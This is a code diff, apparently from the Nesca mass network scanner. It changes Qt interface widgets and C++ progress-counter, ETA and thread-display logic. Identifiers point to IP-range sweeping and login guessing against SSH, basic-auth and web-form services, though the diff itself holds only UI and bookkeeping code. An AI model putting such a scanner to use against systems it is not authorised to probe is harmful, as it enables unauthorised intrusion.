<rect>
<x>95</x>
<y>305</y>
<width>114</width>
<x>104</x>
<y>337</y>
<width>71</width>
<height>20</height>
</rect>
</property>
@ -2553,74 +2358,6 @@ p, li { white-space: pre-wrap; }
<set>QGraphicsView::CacheNone</set>
</property>
</widget>
<widget class="QLabel" name="labelBadAddr">
<property name="geometry">
<rect>
<x>19</x>
<y>380</y>
<width>73</width>
<height>20</height>
</rect>
</property>
<property name="sizePolicy">
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
<horstretch>0</horstretch>
<verstretch>0</verstretch>
</sizepolicy>
</property>
<property name="minimumSize">
<size>
<width>0</width>
<height>0</height>
</size>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>true</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="lineWidth">
<number>1</number>
</property>
<property name="text">
<string>Offline:</string>
</property>
<property name="wordWrap">
<bool>false</bool>
</property>
</widget>
<widget class="QLabel" name="labelOffline_Value">
<property name="geometry">
<rect>
<x>95</x>
<y>380</y>
<width>71</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>false</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>0</string>
</property>
</widget>
<widget class="QTextBrowser" name="BAText">
<property name="geometry">
<rect>
@ -3229,9 +2966,9 @@ background-color: #000000;</string>
</property>
<property name="geometry">
<rect>
<x>36</x>
<y>15</y>
<width>86</width>
<x>31</x>
<y>16</y>
<width>82</width>
<height>10</height>
</rect>
</property>
@ -3291,27 +3028,97 @@ background-color: #000000;</string>
<string/>
</property>
</widget>
<widget class="QGraphicsView" name="graphicsTest">
<property name="geometry">
<rect>
<x>9</x>
<y>229</y>
<width>210</width>
<height>211</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
</font>
</property>
<property name="styleSheet">
<string notr="true">border:1px white solid;background-color: rgba(26, 26,26, 0);</string>
</property>
<property name="verticalScrollBarPolicy">
<enum>Qt::ScrollBarAlwaysOff</enum>
</property>
<property name="horizontalScrollBarPolicy">
<enum>Qt::ScrollBarAlwaysOff</enum>
</property>
<property name="renderHints">
<set>QPainter::TextAntialiasing</set>
</property>
<property name="cacheMode">
<set>QGraphicsView::CacheNone</set>
</property>
</widget>
<widget class="QLabel" name="labelSavedValue">
<property name="geometry">
<rect>
<x>104</x>
<y>311</y>
<width>67</width>
<height>20</height>
</rect>
</property>
<property name="font">
<font>
<family>Small Fonts</family>
<pointsize>7</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>false</underline>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>0</string>
</property>
</widget>
<widget class="QLabel" name="labelSaved">
<property name="geometry">
<rect>
<x>89</x>
<y>312</y>
<width>15</width>
<height>15</height>
</rect>
</property>
<property name="font">
<font>
<family>Sans</family>
<pointsize>10</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>false</underline>
<kerning>false</kerning>
</font>
</property>
<property name="styleSheet">
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
</property>
<property name="text">
<string>✔:</string>
</property>
</widget>
<zorder>graphicTextPlacer</zorder>
<zorder>BAText</zorder>
<zorder>labelNesca_3</zorder>
<zorder>tabMainWidget</zorder>
<zorder>line</zorder>
<zorder>exitButton</zorder>
<zorder>labelIpRange</zorder>
<zorder>labelThreads</zorder>
<zorder>labelBaThreads</zorder>
<zorder>labelIpRange_Value</zorder>
<zorder>labelThreads_Value</zorder>
<zorder>labelBAThreads_Value</zorder>
<zorder>labelIPS</zorder>
<zorder>labelIPS_Value</zorder>
<zorder>dataText</zorder>
<zorder>labelParsed</zorder>
<zorder>labelParsed_Value</zorder>
<zorder>labelStatus</zorder>
<zorder>labelStatus_Value</zorder>
<zorder>labelTargetsLeft</zorder>
<zorder>labelTargetsLeft_Value</zorder>
<zorder>line_2</zorder>
<zorder>RedLabel</zorder>
<zorder>YellowLabel</zorder>
@ -3334,8 +3141,6 @@ background-color: #000000;</string>
<zorder>graphicDelim</zorder>
<zorder>graphicLog_2</zorder>
<zorder>graphicLog_Upper</zorder>
<zorder>labelBadAddr</zorder>
<zorder>labelOffline_Value</zorder>
<zorder>switcherBut</zorder>
<zorder>labelTracker</zorder>
<zorder>graphicActivityGrid</zorder>
@ -3358,6 +3163,14 @@ background-color: #000000;</string>
<zorder>labelSSH</zorder>
<zorder>rVerLabel</zorder>
<zorder>NSTrackStatusLabel</zorder>
<zorder>graphicsTest</zorder>
<zorder>ipLabel</zorder>
<zorder>labelTargetsLeft</zorder>
<zorder>labelPendingTargets</zorder>
<zorder>labelThreads</zorder>
<zorder>labelRunningThreads</zorder>
<zorder>labelSavedValue</zorder>
<zorder>labelSaved</zorder>
</widget>
<widget class="QWidget" name="widgetJOB" native="true">
<property name="geometry">
@ -3488,10 +3301,10 @@ background-color: #000000;</string>
<string>:Jobs</string>
</property>
</widget>
<zorder>widget</zorder>
<zorder>widgetJOB</zorder>
<zorder>JobModeBut</zorder>
<zorder>widget</zorder>
<zorder>DataflowModeBut</zorder>
<zorder>JobModeBut</zorder>
</widget>
</widget>
<layoutdefault spacing="6" margin="11"/>

View File

@ -20,7 +20,7 @@ int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0;
int AnomC1 = 0, Filt = 0, Overl = 0, Lowl = 0, Alive = 0, saved = 0, Susp = 0, WF = 0, offlines = 0, ssh = 0;
int GlobalNegativeSize = 0;
int ipCounter = 0;
int found = 0, indexIP = 1;
int found = 0, indexIP = 0;
int gMode;
int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0;
int ipsstart[4], ipsend[4],
@ -334,23 +334,20 @@ void _timer() {
strncpy(b, QString::number(ips).toLocal8Bit().data(), 5);
strcpy(metaIPS, b);
strcat(timeLeft, b);
strcat(timeLeft, "/s (");
//strcat(timeLeft, b);
//strcat(timeLeft, "/s (");
if (ips > 0)
{
strncpy(dbuffer, std::to_string(((gTargets + 1) / ips / 3600 / 24)).c_str(), 5);
}
else strcpy(dbuffer, "INF");
strcpy(metaETA, dbuffer);
strcat(dbuffer, "d)");
strcat(timeLeft, (strcmp(dbuffer, "1.$d)") == 0 ? "INF)" : dbuffer));
//if (ips > 0)
//{
// strncpy(dbuffer, std::to_string(((gTargets + 1) / ips / 3600 / 24)).c_str(), 5);
//}
//else strcpy(dbuffer, "INF");
//strcpy(metaETA, dbuffer);
//strcat(dbuffer, "d)");
//strcat(timeLeft, (strcmp(dbuffer, "1.$d)") == 0 ? "INF)" : dbuffer));
stt->doEmitionIPS(QString(timeLeft));
ZeroMemory(timeLeft, sizeof(timeLeft));
ZeroMemory(dbuffer, sizeof(dbuffer));
//ZeroMemory(timeLeft, sizeof(timeLeft));
//ZeroMemory(dbuffer, sizeof(dbuffer));
Sleep(1000);
};
@ -717,7 +714,7 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) {
gTargets += 65536 * (ipsend[1] - ipsstart[1]);
gTargets += 256 * (ipsend[2] - ipsstart[2]);
gTargets += (ipsend[3] - ipsstart[3]);
gTargetsOverall = gTargets;
gTargetsOverall = gTargets + 1;
//unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3];
//unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3];
@ -728,13 +725,13 @@ unsigned long int numOfIps(int ipsstart[], int ipsend[]) {
void verboseProgress(unsigned long target) {
stt->doEmitionIPRANGE(QString(currentIP));
stt->doEmitionUpdateArc(gTargets);
if(gTargets > 0) --gTargets;
char targetNPers[128] = { 0 };
float percent = (gTargetsOverall != 0 ? (100 - target / (double)gTargetsOverall * 100) : 0);
sprintf(targetNPers, "%Lu (%.1f%%)", target, percent);
stt->doEmitionTargetsLeft(QString(targetNPers));
sprintf(metaTargets, "%Lu", target);
sprintf(metaPercent, "%.1f",
@ -1508,7 +1505,6 @@ int ParseArgs(int argc, char *argv[]) {
if (strstr(p, ",") != NULL)
{
lex = strtok(p, ",");
portArr[indexPorts++] = atoi(lex);
@ -1539,7 +1535,6 @@ int ParseArgs(int argc, char *argv[]) {
}
else
{
lex = strtok(p, "-p");
portArr[indexPorts++] = atoi(lex);
};
@ -1605,8 +1600,6 @@ void ConInc()
#else
asm("lock; incl cons");
#endif
stt->doEmitionThreads(QString::number(cons) + "/" +
QString::number(gThreads));
}
void ConDec()
{
@ -1622,8 +1615,7 @@ void ConDec()
#endif
};
stt->doEmitionThreads(QString::number(cons) + "/" +
QString::number(gThreads));
stt->doEmitionUpdateArc(gTargets);
}
void _connect() {
@ -1726,7 +1718,7 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
++indexIP;
sprintf(currentIP, "%s%s", mask, gTLD);
verboseProgress(gTargets--);
verboseProgress(gTargets);
Threader::fireThread(currentIP, (void*(*)(void))_connect);
};
@ -1798,9 +1790,6 @@ int startScan(char* args) {
return -1;
};
stt->doEmitionIPRANGE(QString("--"));
stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
runAuxiliaryThreads();
if (gMode == 0)
@ -1833,7 +1822,7 @@ int startScan(char* args) {
strcpy(currentIP, ipVec[0].c_str());
ipVec.erase(ipVec.begin());
verboseProgress(gTargets--);
verboseProgress(gTargets);
Threader::fireThread(currentIP, (void*(*)(void))_connect);
}
@ -1854,7 +1843,7 @@ int startScan(char* args) {
tAddr.s_addr = ntohl(i);
strcpy(currentIP, inet_ntoa(tAddr));
verboseProgress(gTargets--);
verboseProgress(gTargets);
Threader::fireThread(currentIP, (void*(*)(void))_connect);
}
@ -2036,7 +2025,7 @@ int startScan(char* args) {
++indexIP;
strcpy(currentIP, ipVec[0].c_str());
ipVec.erase(ipVec.begin());
verboseProgress(gTargets--);
verboseProgress(gTargets);
Threader::fireThread(currentIP, (void*(*)(void))_connect);
}
@ -2056,7 +2045,7 @@ int startScan(char* args) {
tAddr.s_addr = ntohl(i);
strcpy(currentIP, inet_ntoa(tAddr));
verboseProgress(gTargets--);
verboseProgress(gTargets);
Threader::fireThread(currentIP, (void*(*)(void))_connect);
}
break;
@ -2079,7 +2068,6 @@ int startScan(char* args) {
};
stt->doEmitionGreenFoundData("Done. Saved: " + QString::number(saved) + "; Alive: " + QString::number(found) + ".");
stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found));
stt->doEmitionChangeStatus("Idle");
Sleep(1000); //Wait for lock release